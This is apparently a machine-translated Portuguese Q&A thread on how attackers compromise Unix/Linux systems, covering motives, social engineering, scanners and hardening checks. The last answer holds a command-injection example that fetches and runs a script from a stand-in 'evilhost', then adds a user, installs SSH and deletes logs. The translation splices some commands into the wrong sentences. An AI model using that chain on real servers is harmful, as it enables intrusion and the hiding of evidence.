Como exatamente as pessoas “quebram” sistemas Unix / Linux?

Não, eu não estou olhando para me tornar um cracker ou algo parecido, mas estou tentando descobrir o processo (mais do ponto de vista da programação).

Então, estou assumindo (supondo) que o principal objetivo de um cracker é obter acesso root para instalar qualquer software (ou script) que ele tenha escrito, certo? ou talvez instalar seu próprio módulo kernal (isso é desonesto por qualquer motivo) Como exatamente uma pessoa faz isso?

Sei que as pessoas usam scripts para verificar explorações ...... mas não vejo como e também não vejo exatamente o que fazem com elas quando as encontram? Eles estão verificando versões para explorações conhecidas ...... e depois encontram uma .......

Eu sei que tudo isso soa muito novato. mas estou apenas tentando ter uma idéia de como funciona, pois sei que os sistemas Linux / Unix devem ser muito seguros, mas estou tentando descobrir como alguém iria (o processo) de obter acesso root.

Existem inúmeras razões pelas quais alguém pode tentar comprometer a segurança de um sistema. Em traços largos:

• Para usar os recursos do sistema (por exemplo, enviar spam, retransmitir tráfego)
• Para adquirir informações sobre o sistema (por exemplo, obter dados do cliente em um site de comércio eletrônico).
• Para alterar informações no sistema (por exemplo, desfigurar um site, plantar informações falsas, remover informações)

Às vezes, essas coisas exigem acesso root. Por exemplo, inserir uma consulta de pesquisa malformada em um site que não limpa adequadamente a entrada do usuário pode revelar informações do banco de dados do site, como nomes de usuário / senhas, endereços de email etc.

Muitos criminosos de computador são apenas "garotos de script"; ou seja, pessoas que realmente não entendem a segurança dos sistemas e podem nem mesmo codificar, mas executam explorações escritas por outras pessoas. Geralmente, eles são facilmente defendidos porque não têm a capacidade de se adaptar; eles estão limitados à exploração de vulnerabilidades conhecidas. (Embora eles possam aproveitar botnets - grandes grupos de computadores comprometidos - o que pode significar um perigo de ataques DDoS).

Para o atacante habilidoso, o processo é mais ou menos assim:

1. Descobrir qual é o objetivo e qual é o objetivo. A segurança - mantendo ou comprometendo - é um cálculo de risco / recompensa. Quanto mais arriscado e caro for, mais a recompensa deve ser para fazer um ataque valer a pena.

2. Considere todas as partes móveis que afetam qualquer que seja o objetivo - por exemplo, se você quiser enviar spam, poderá atacar o servidor de correio, mas pode fazer mais sentido buscar um serviço diferente da rede, como tudo o que realmente A necessidade é o uso da conexão de rede do alvo. Se você deseja dados do usuário, começa a olhar para o servidor de banco de dados, o aplicativo da web e o servidor da web que têm acesso a eles, o sistema que faz o backup etc.

   Nunca desconsidere o fator humano. Proteger um sistema de computador é muito mais fácil do que proteger o comportamento humano. Conseguir que alguém revele informações que não deveriam, ou execute um código que não deveria, é fácil e eficaz. Na faculdade, ganhei uma aposta com um amigo que envolvia invadir sua rede corporativa super segura, vestindo uma roupa reveladora e encontrando um vice-presidente lascivo - a experiência técnica do meu amigo superava a minha, mas nada supera o poder de um garoto de 17 anos co-ed em uma saia curta!

   Se você não tem peitos, considere oferecer um jogo inútil ou algo que os idiotas baixem por diversão sem considerar o que realmente pode estar fazendo.

3. Observe cada parte que você identificou e considere o que ela pode fazer e como isso pode ser ajustado para fazer o que você deseja - talvez o suporte técnico redefina as senhas dos usuários frequentemente sem identificar adequadamente o chamador e chamá-los com um som confuso. obtenha a senha de outra pessoa. Talvez o webapp não esteja verificando o que é colocado na caixa de pesquisa para garantir que não seja um código antes de colocá-lo em uma função executada. Os compromissos de segurança geralmente começam com algo propositalmente exposto que pode ser feito para se comportar de uma maneira que não deveria.

O maior fator é o tipo de acesso que o invasor possui. Se eles têm acesso físico, você está ferrado. Se você está preocupado apenas com acesso remoto, isso depende do que você está executando; boa configuração é tudo. Um servidor linux padrão provavelmente executaria ftp, ssh, http, https e mysql. O SSH é seguro, mas eu não permitiria logins raiz, e uma boa senha em todas as contas é essencial. O FTP é um acerto ou um erro. Se você tem VSFTP e chroot seus usuários, é muito seguro. Várias outras versões possuem vulnerabilidades conhecidas. O HTTP provavelmente será sua área mais vulnerável. Sua maior preocupação aqui é qualquer coisa que execute arquivos no sistema ou faça upload de arquivos para o sistema. A injeção de SQL é MUITO difícil se o seu site for feito em PHP5. Um grupo de estudantes de segurança e eu tentamos injeções de SQL em um site PHP5 não autorizado por semanas e não obtiveram êxito. Com o MySQL, certifique-se de usar um usuário não root e restrinja-o ao login apenas no servidor Apache.

Existem alguns plugins do Firefox para testar as vulnerabilidades do site: acesse-me, xss-me e sql me injete

Algumas coisas importantes que eu sempre faria nas competições para garantir a segurança:

• netstat - verifique portas e conexões abertas,
• w - quem está logado, por quanto tempo,
• Verifique os logs para logins,
• histórico do bash para comandos executados,
• ps - executando comandos,
• /etc/passwd para usuários extras
• /etc/sudoers para acesso ao sudo.

Normalmente, depois de obter acesso, um invasor deseja obter raiz. Atualmente, existem algumas vulnerabilidades de escalonamento de privilégios por aí que permitiriam que um usuário normal ganhasse root. Depois disso, eles desejam abri-lo para acesso posterior adicionando usuários e abrindo portas traseiras.

Aqui está o site de defesa cibernética da minha escola. Fique à vontade para olhar ao redor e fazer algumas perguntas: https://thislink.doesntexist.org/

A segurança de um sistema depende das habilidades do (s) administrador (es), por isso é meio errado dizer que "os sistemas Linux / Unix devem ser muito seguros" :)

Agora, vamos invadir ... Existe um tipo de ferramenta chamada " scanner de vulnerabilidades ", como o Nessus, que procura coisas a serem exploradas. Existem milhares de coisas que podem dar errado em um sistema complexo, como um servidor Apache mal configurado para permitir o upload de arquivos arbitrários em locais arbitrários. Eles podem servir como um trampolim para novas explorações, como obter acesso a um banco de dados ou a uma conta de e-mail a partir da qual as senhas podem ser restauradas por meio do recurso "esquecer senha".

Às vezes, um truque é obter acesso e fazer algo mal. Às vezes, as pessoas fazem isso por diversão (que é bobo, a propósito).

E, aqui está uma história de um famoso hack que aconteceu recentemente. Eu acho que será ilustrativo para quem está olhando para a segurança! Para citar um resumo das explorações:

Um aplicativo da Web com falhas de injeção SQL e senhas inseguras. Senhas que foram mal escolhidas. Senhas que foram reutilizadas. Servidores que permitiam autenticação baseada em senha. Sistemas que não foram corrigidos. E uma vontade espantosa de distribuir credenciais por e-mail, mesmo quando a pessoa solicitada deveria ter percebido que algo estava acontecendo.

Existem tantos vetores de ataque que são quase infinitos. Uma das mais simples conceitualmente é disponibilizar publicamente um programa e dizer que ele faz algo diferente do que realmente faz. Dê instruções fáceis aos usuários com um sudono início e assista ao mundo explodir. Isso acontece todos os dias com programas de código fechado, uma vez que é inviável que uma única pessoa inspecione seu funcionamento com antecedência, como visto, por exemplo, nos CDs da Sony .

Você também pode tentar enviar seqüências especiais para um host remoto. Para um exemplo de alto nível, digamos que você tenha um servidor da Web com algum software em execução e que o software execute parte da URL como um comando sem escapar ou garantir que não cause danos. Envie algo como http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Decodificada, a sequência de pesquisa se torna . Se isso for executado, o script.sh será executado com os mesmos direitos de acesso que o usuário do servidor da Web para fazer qualquer coisa na máquina. Às vezes, as pessoas deixam que elas funcionem como raiz da "conveniência", nesse caso, sinônimo de preguiça e / ou falta de noção. Mesmo se não for executado como root, esse script poderá executar milhares de testes para outros furos no software instalado e executar outro comando, se encontrar um. Esse último comando poderia, por exemplo, serfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, para obter acesso SSH e remover vestígios da invasão.

[os comandos foram obviamente simplificados e provavelmente não funcionariam de qualquer maneira. YMMV]